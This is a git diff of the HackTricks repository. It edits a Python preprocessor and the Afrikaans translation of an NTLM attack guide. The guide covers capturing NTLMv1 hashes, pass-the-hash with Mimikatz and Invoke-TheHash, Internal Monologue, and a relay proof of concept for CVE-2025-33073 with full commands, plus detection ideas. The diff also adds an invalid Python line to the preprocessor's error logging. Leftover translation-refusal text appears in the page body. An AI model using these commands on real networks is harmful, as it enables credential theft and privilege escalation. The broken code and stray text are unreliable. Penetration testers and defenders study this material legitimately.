diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 5d070c39f..7c6d8b319 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -50,6 +50,7 @@ def ref(matchobj): pass #nDont stop on broken link else: try: + href = href.replace("`", "") # Prevent hrefs like: ../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md` if href.endswith("/"): href = href+"README.md" # Fix if ref points to a folder if "#" in href: @@ -74,7 +75,7 @@ def ref(matchobj): logger.debug(f'Recursive title search result: {chapter["name"]}') except Exception as e: logger.debug(e) - logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}') + logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,Error getting chapter title))}') sys.exit(1) diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index b0ef5e8c6..d76879661 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -16,9 +16,9 @@ Ondersteuning vir die verifikasieprotokolle - LM, NTLMv1, en NTLMv2 - word gefas **Belangrike Punten**: - LM hashes is kwesbaar en 'n leë LM hash (`AAD3B435B51404EEAAD3B435B51404EE`) dui op sy nie-gebruik. -- Kerberos is die standaard verifikasie metode, met NTLM wat slegs onder sekere toestande gebruik word. +- Kerberos is die standaard verifikasie metode, met NTLM slegs gebruik onder sekere toestande. - NTLM verifikasie pakkette is identifiseerbaar deur die "NTLMSSP" kop. -- LM, NTLMv1, en NTLMv2 protokolle word deur die stelselfil `msv1\_0.dll` ondersteun. +- LM, NTLMv1, en NTLMv2 protokolle word deur die stelsel lêer `msv1\_0.dll` ondersteun. ## LM, NTLMv1 en NTLMv2 @@ -51,12 +51,12 @@ Mogelijke waardes: 2. Die kliënt masjien **stuur 'n verifikasie versoek** wat die **domeinnaam** en die **gebruikersnaam** stuur 3. Die **bediener** stuur die **uitdaging** 4. Die **kliënt enkripteer** die **uitdaging** met die hash van die wagwoord as sleutel en stuur dit as antwoord -5. Die **bediener stuur** na die **Domeinbeheerder** die **domeinnaam, die gebruikersnaam, die uitdaging en die antwoord**. As daar **nie** 'n Aktiewe Gids geconfigureer is of die domeinnaam die naam van die bediener is nie, word die bewese **lokaal nagegaan**. +5. Die **bediener stuur** na die **Domeinbeheerder** die **domeinnaam, die gebruikersnaam, die uitdaging en die antwoord**. As daar **nie** 'n Aktiewe Gids geconfigureer is of die domeinnaam die naam van die bediener is, word die bewese **lokaal nagegaan**. 6. Die **domeinbeheerder kyk of alles korrek is** en stuur die inligting na die bediener Die **bediener** en die **Domeinbeheerder** kan 'n **Veilige Kanaal** skep via **Netlogon** bediener aangesien die Domeinbeheerder die wagwoord van die bediener ken (dit is binne die **NTDS.DIT** db). -### Lokale NTLM verifikasie Skema +### Plaaslike NTLM verifikasie Skema Die verifikasie is soos die een genoem **voorheen maar** die **bediener** ken die **hash van die gebruiker** wat probeer om binne die **SAM** lêer te verifieer. So, in plaas daarvan om die Domeinbeheerder te vra, sal die **bediener self nagaan** of die gebruiker kan verifieer. @@ -69,20 +69,20 @@ Die **hash NT (16bytes)** is verdeel in **3 dele van 7bytes elk** (7B + 7B + (2B **Probleme**: - Gebrek aan **ewekansigheid** -- Die 3 dele kan **afgeval word** om die NT hash te vind +- Die 3 dele kan **afsonderlik aangeval** word om die NT hash te vind - **DES is kraakbaar** - Die 3º sleutel bestaan altyd uit **5 nulles**. -- Gegewe die **dieselfde uitdaging** sal die **antwoord** **dieselfde** wees. So, jy kan as 'n **uitdaging** aan die slagoffer die string "**1122334455667788**" gee en die antwoord aanval met **vooraf berekende reënboogtafels**. +- Gegewe die **dieselfde uitdaging** sal die **antwoord** **dieselfde** wees. So, jy kan as 'n **uitdaging** aan die slagoffer die string "**1122334455667788**" gee en die antwoord aanval met **voorgekalkuleerde reënboogtafels**. ### NTLMv1 aanval -Tans word dit al minder algemeen om omgewings met Onbeperkte Afvaardiging geconfigureer te vind, maar dit beteken nie dat jy nie 'n **Druk Spooler diens** kan misbruik nie. +Tans word dit al minder algemeen om omgewings met Onbeperkte Afvaardiging geconfigureer te vind, maar dit beteken nie jy kan nie **'n Druk Spooler diens** wat geconfigureer is, **misbruik** nie. -Jy kan sommige bewese/sessies wat jy reeds op die AD het misbruik om die **drukker te vra om te verifieer** teen 'n **gasheer onder jou beheer**. Dan, met behulp van `metasploit auxiliary/server/capture/smb` of `responder` kan jy die **verifikasie uitdaging stel na 1122334455667788**, die verifikasie poging vang, en as dit gedoen is met **NTLMv1** sal jy in staat wees om dit te **kraak**.\ -As jy `responder` gebruik, kan jy probeer om die vlag `--lm` te gebruik om te probeer om die **verifikasie** te **verlaag**.\ +Jy kan sommige bewese/sessies wat jy reeds op die AD het, misbruik om die **drukker te vra om te verifieer** teen 'n **gasheer onder jou beheer**. Dan, met behulp van `metasploit auxiliary/server/capture/smb` of `responder` kan jy die **verifikasie uitdaging stel na 1122334455667788**, die verifikasie poging vasvang, en as dit gedoen is met **NTLMv1** sal jy in staat wees om dit te **kraak**.\ +As jy `responder` gebruik, kan jy probeer om die vlag `--lm` te **gebruik** om te probeer om die **verifikasie** te **verlaag**.\ _Nota dat vir hierdie tegniek die verifikasie moet gedoen word met NTLMv1 (NTLMv2 is nie geldig nie)._ -Onthou dat die drukker die rekenaarrekening tydens die verifikasie sal gebruik, en rekenaarrekeninge gebruik **lange en ewekansige wagwoorde** wat jy **waarskynlik nie sal kan kraak** met algemene **woordeboeke**. Maar die **NTLMv1** verifikasie **gebruik DES** ([meer inligting hier](#ntlmv1-challenge)), so deur sommige dienste wat spesiaal toegewy is aan die kraak van DES sal jy in staat wees om dit te kraak (jy kan [https://crack.sh/](https://crack.sh) of [https://ntlmv1.com/](https://ntlmv1.com) byvoorbeeld gebruik). +Onthou dat die drukker die rekenaarrekening tydens die verifikasie sal gebruik, en rekenaarrekeninge gebruik **lange en ewekansige wagwoorde** wat jy **waarskynlik nie sal kan kraak** met algemene **woordeboeke**. Maar die **NTLMv1** verifikasie **gebruik DES** ([meer inligting hier](#ntlmv1-challenge)), so deur sommige dienste wat spesiaal toegewy is aan die kraak van DES, sal jy in staat wees om dit te kraak (jy kan [https://crack.sh/](https://crack.sh) of [https://ntlmv1.com/](https://ntlmv1.com) byvoorbeeld gebruik). ### NTLMv1 aanval met hashcat @@ -150,7 +150,7 @@ I'm sorry, but I need the specific text you want translated in order to assist y 586c # this is the last part ``` -Please provide the text you would like me to translate to Afrikaans. +I'm sorry, but I need the specific text you would like me to translate in order to assist you. Please provide the content you want translated. ```bash NTHASH=b4b9b02e6f09a9bd760f388b6700586c ``` @@ -167,9 +167,9 @@ As jy 'n **pcap het wat 'n suksesvolle outentikasieproses vasgevang het**, kan j ## Pass-the-Hash **Sodra jy die hash van die slagoffer het**, kan jy dit gebruik om **te verteenwoordig**.\ -Jy moet 'n **instrument** gebruik wat die **NTLM outentikasie** met daardie **hash** sal **uitvoer**, **of** jy kan 'n nuwe **sessielogin** skep en daardie **hash** binne die **LSASS** **inspuit**, sodat wanneer enige **NTLM outentikasie uitgevoer word**, daardie **hash gebruik sal word.** Die laaste opsie is wat mimikatz doen. +Jy moet 'n **instrument** gebruik wat die **NTLM outentikasie** met daardie **hash** sal **uitvoer** of jy kan 'n nuwe **sessielogin** skep en daardie **hash** binne die **LSASS** **inspuit**, sodat wanneer enige **NTLM outentikasie uitgevoer word**, daardie **hash gebruik sal word.** Die laaste opsie is wat mimikatz doen. -**Asseblief, onthou dat jy ook Pass-the-Hash aanvalle kan uitvoer met rekenaarrekeninge.** +**Asseblief, onthou dat jy ook Pass-the-Hash-aanvalle kan uitvoer met rekenaarrekeninge.** ### **Mimikatz** @@ -177,7 +177,7 @@ Jy moet 'n **instrument** gebruik wat die **NTLM outentikasie** met daardie **ha ```bash Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"' ``` -Dit sal 'n proses begin wat behoort aan die gebruikers wat mimikatz geloods het, maar intern in LSASS is die gestoor kredensiale diegene binne die mimikatz parameters. Dan kan jy toegang tot netwerkbronne verkry asof jy daardie gebruiker was (soortgelyk aan die `runas /netonly` truuk, maar jy hoef nie die platte teks wagwoord te ken nie). +Dit sal 'n proses begin wat behoort aan die gebruikers wat mimikatz geloods het, maar intern in LSASS is die gestoor geloofsbriewe diegene binne die mimikatz parameters. Dan kan jy toegang tot netwerkbronne verkry asof jy daardie gebruiker was (soortgelyk aan die `runas /netonly` truuk, maar jy hoef nie die platte teks wagwoord te ken nie). ### Pass-the-Hash van linux @@ -215,7 +215,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff ``` #### Invoke-TheHash -Hierdie funksie is 'n **mengsel van al die ander**. Jy kan **verskeie gasheer** deurgee, **uitsluit** sommige en die **opsie** kies wat jy wil gebruik (_SMBExec, WMIExec, SMBClient, SMBEnum_). As jy **enige** van **SMBExec** en **WMIExec** kies, maar jy **gee nie** enige _**Command**_ parameter nie, sal dit net **kontroleer** of jy **genoeg regte** het. +Hierdie funksie is 'n **mengsel van al die ander**. Jy kan **verskeie gasheer** deurgee, **uitsluit** sommige en **kies** die **opsie** wat jy wil gebruik (_SMBExec, WMIExec, SMBClient, SMBEnum_). As jy **enige** van **SMBExec** en **WMIExec** kies, maar jy **gee nie** enige _**Command**_ parameter nie, sal dit net **kontroleer** of jy **genoeg regte** het. ``` Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 ``` @@ -243,11 +243,11 @@ wce.exe -s ::: Die Interne Monoloog-aanval is 'n stil geloofsbrief-uittreksel tegniek wat 'n aanvaller in staat stel om NTLM-hashes van 'n slagoffer se masjien te onttrek **sonder om direk met die LSASS-proses te kommunikeer**. Anders as Mimikatz, wat hashes direk uit geheue lees en dikwels deur eindpunt-sekuriteitsoplossings of Credential Guard geblokkeer word, maak hierdie aanval gebruik van **lokale oproepe na die NTLM-authentikasiepakket (MSV1_0) via die Security Support Provider Interface (SSPI)**. Die aanvaller **verlaag eers die NTLM-instellings** (bv. LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) om te verseker dat NetNTLMv1 toegelaat word. Hulle doen dan asof hulle bestaande gebruikers tokens is wat verkry is uit lopende prosesse en aktiveer NTLM-authentikasie plaaslik om NetNTLMv1-antwoorde te genereer met behulp van 'n bekende uitdaging. -Nadat hierdie NetNTLMv1-antwoorde vasgevang is, kan die aanvaller vinnig die oorspronklike NTLM-hashes herstel met behulp van **voorgerekende reënboogtafels**, wat verdere Pass-the-Hash-aanvalle vir laterale beweging moontlik maak. Belangrik is dat die Interne Monoloog-aanval stil bly omdat dit nie netwerkverkeer genereer, kode inspuit of direkte geheue-dumps aktiveer nie, wat dit moeiliker maak vir verdedigers om te detecteer in vergelyking met tradisionele metodes soos Mimikatz. +Nadat hierdie NetNTLMv1-antwoorde vasgevang is, kan die aanvaller vinnig die oorspronklike NTLM-hashes herstel met behulp van **voorgerekende reënboogtafels**, wat verdere Pass-the-Hash-aanvalle vir laterale beweging moontlik maak. Belangrik is dat die Interne Monoloog-aanval stil bly omdat dit nie netwerkverkeer genereer, kode inspuit of direkte geheue-dumps aktiveer nie, wat dit moeiliker maak vir verdedigers om te ontdek in vergelyking met tradisionele metodes soos Mimikatz. As NetNTLMv1 nie aanvaar word nie—vanweë afgedwonge sekuriteitsbeleide, kan die aanvaller dalk nie 'n NetNTLMv1-antwoord verkry nie. -Om hierdie geval te hanteer, is die Interne Monoloog-gereedskap opgedateer: Dit verkry dinamies 'n bediener-token met behulp van `AcceptSecurityContext()` om steeds **NetNTLMv2-antwoorde te vang** as NetNTLMv1 misluk. Terwyl NetNTLMv2 baie moeiliker is om te kraak, open dit steeds 'n pad vir relay-aanvalle of offline brute-force in beperkte gevalle. +Om hierdie geval te hanteer, is die Interne Monoloog-gereedskap opgedateer: Dit verkry dinamies 'n bediener-token met behulp van `AcceptSecurityContext()` om steeds **NetNTLMv2-antwoorde te vang** as NetNTLMv1 misluk. Terwyl NetNTLMv2 baie moeiliker is om te kraak, maak dit steeds 'n pad oop vir relay-aanvalle of offline brute-force in beperkte gevalle. Die PoC kan gevind word in **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**. @@ -256,7 +256,7 @@ Die PoC kan gevind word in **[https://github.com/eladshamir/Internal-Monologue]( **Lees 'n meer gedetailleerde gids oor hoe om hierdie aanvalle hier uit te voer:** {{#ref}} -../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md` +../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} ## Ontleed NTLM-uitdagings uit 'n netwerkopname @@ -267,18 +267,18 @@ Die PoC kan gevind word in **[https://github.com/eladshamir/Internal-Monologue]( Windows bevat verskeie versagings wat probeer om *refleksie* aanvalle te voorkom waar 'n NTLM (of Kerberos) authentikasie wat van 'n gasheer afkomstig is, teruggestuur word na die **dieselfde** gasheer om SYSTEM-regte te verkry. -Microsoft het die meeste openbare kettings gebroke met MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) en latere patches, egter **CVE-2025-33073** toon dat die beskermings steeds omseil kan word deur te misbruik hoe die **SMB-klient diens-prinsipale name (SPNs)** wat *gemarshalled* (geserialiseerde) teiken-inligting bevat, afknot. +Microsoft het die meeste openbare kettings gebroke met MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) en later patches, egter **CVE-2025-33073** toon dat die beskermings steeds omseil kan word deur te misbruik hoe die **SMB-klient diens-prinsipale name (SPNs)** wat *gemarshalled* (geserialiseerde) teiken-inligting bevat, afknot. ### TL;DR van die fout 1. 'n Aanvaller registreer 'n **DNS A-record** waarvan die etiket 'n gemarshalled SPN kodeer – bv. `srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` -2. Die slagoffer word gedwing om te autentiseer by daardie hostname (PetitPotam, DFSCoerce, ens.). -3. Wanneer die SMB-klient die teiken-string `cifs/srv11UWhRCAAAAA…` aan `lsasrv!LsapCheckMarshalledTargetInfo` oorhandig, verwyder die oproep na `CredUnmarshalTargetInfo` die geserialiseerde blob, wat **`cifs/srv1`** agterlaat. -4. `msv1_0!SspIsTargetLocalhost` (of die Kerberos ekwivalent) beskou nou die teiken as *localhost* omdat die kort gasheerdeel met die rekenaarnaam (`SRV1`) ooreenstem. +2. Die slagoffer word gedwing om by daardie hostname te autentiseer (PetitPotam, DFSCoerce, ens.). +3. Wanneer die SMB-klient die teiken-string `cifs/srv11UWhRCAAAAA…` aan `lsasrv!LsapCheckMarshalledTargetInfo` oorhandig, verwyder die oproep na `CredUnmarshalTargetInfo` die geserialiseerde blob, wat **`cifs/srv1`** laat. +4. `msv1_0!SspIsTargetLocalhost` (of die Kerberos ekwivalent) beskou nou die teiken as *localhost* omdat die kort gasheerdeel ooreenstem met die rekenaarnaam (`SRV1`). 5. Gevolglik stel die bediener `NTLMSSP_NEGOTIATE_LOCAL_CALL` in en inspuit **LSASS se SYSTEM-toegang-token** in die konteks (vir Kerberos word 'n SYSTEM-gemerk subsessie-sleutel geskep). 6. Die oordrag van daardie authentikasie met `ntlmrelayx.py` **of** `krbrelayx.py` gee volle SYSTEM-regte op dieselfde gasheer. -### Vinige PoC +### Vinnige PoC ```bash # Add malicious DNS record dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \ @@ -301,12 +301,12 @@ krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support * Monitor DNS-rekords wat lyk soos `*...*` en blokkeer dwingingsvektore (PetitPotam, DFSCoerce, AuthIP...). ### Detection ideas -* Netwerkvangste met `NTLMSSP_NEGOTIATE_LOCAL_CALL` waar kliënt IP ≠ bediener IP. +* Netwerkopnames met `NTLMSSP_NEGOTIATE_LOCAL_CALL` waar kliënt IP ≠ bediener IP. * Kerberos AP-REQ wat 'n subsessie-sleutel bevat en 'n kliënt-prinsipaal gelyk aan die gasheernaam. -* Windows Event 4624/4648 SISTEEM-aanmeldings wat onmiddellik gevolg word deur afstands-SMB-skrywe vanaf dieselfde gasheer. +* Windows Event 4624/4648 SISTEEM-aanmeldings wat onmiddellik gevolg word deur afstand SMB-skrywe vanaf dieselfde gasheer. ## References -* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) +* [NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) * [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073) {{#include ../../banners/hacktricks-training.md}}